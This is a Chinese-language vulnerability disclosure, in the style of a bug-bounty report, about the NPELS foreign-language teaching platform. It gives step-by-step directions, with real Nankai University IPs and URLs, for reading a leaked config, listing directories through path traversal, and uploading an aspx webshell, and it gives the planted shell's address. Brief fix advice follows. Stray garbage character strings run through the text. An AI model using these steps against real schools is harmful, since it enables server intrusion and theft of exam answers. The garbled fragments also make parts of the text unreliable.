新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中

详细说明：
( s2 B" F7 [" v9 z: O  e0 F
以南开大学的为例:
http://222.30.60.3/NPELS
3 y% w  [8 X  t; N6 D4 I/ l4 O0 aNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
/ s8 m7 `( z' ?9 A' O* p<setting name="Update_CommonSvr_CommonService" serializeAs="String">
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
, h" |; |/ N4 C</setting>
及版本号
<add key="TVersion" value="1, 0, 0, 2187">
+ J" l4 t* Y1 @' _</add>
) a- I$ C( d) K8 P) D( C- F直接访问
# v) y# F! u9 F  \" j2 Fhttp://222.30.60.3/NPELS/CommonService.asmx
* G1 a3 A4 l5 m; a( [3 I0 i& K( F3 u: `使用GetTestClientFileList操作，直接 HTTP GET 列目录：
8 T" y/ p- y3 xhttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../

发现
8 L# p( y: `  N/ h% L- ohttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
1 ~- D% q- `- _3 i, @7 {可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
上传后继续列目录找到木马地址直接访问即可
2 {0 b6 Z9 G0 S; U. b% E
OOXX
: h! T/ i6 ^- d7 Q
. w9 |4 H& M; F- `Google "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
0 v8 t9 I# }5 Y' ]! j$ m) p漏洞证明：
$ S7 a% A, \4 s
列目录：
http://222.30.60.3/NPELS/CommonS ... List?version=../../
文件上传：
" z8 A1 P2 w2 c# D1 m9 d) ?' @http://222.30.60.3/npelsv/editor/editor.htm

上传木马：
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
8 T9 g( P0 `) W* o7 ^3 v
9 x& s& R( T. f. h修复方案：
好像考试系统必须使用 CommonService.asmx
& ]( Y8 b2 Z6 m# r! a' k6 e" K) W最好配置文件加密或者用别的方式不让它泄露出来
并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​
# r+ U8 r% J- C; q+ b; {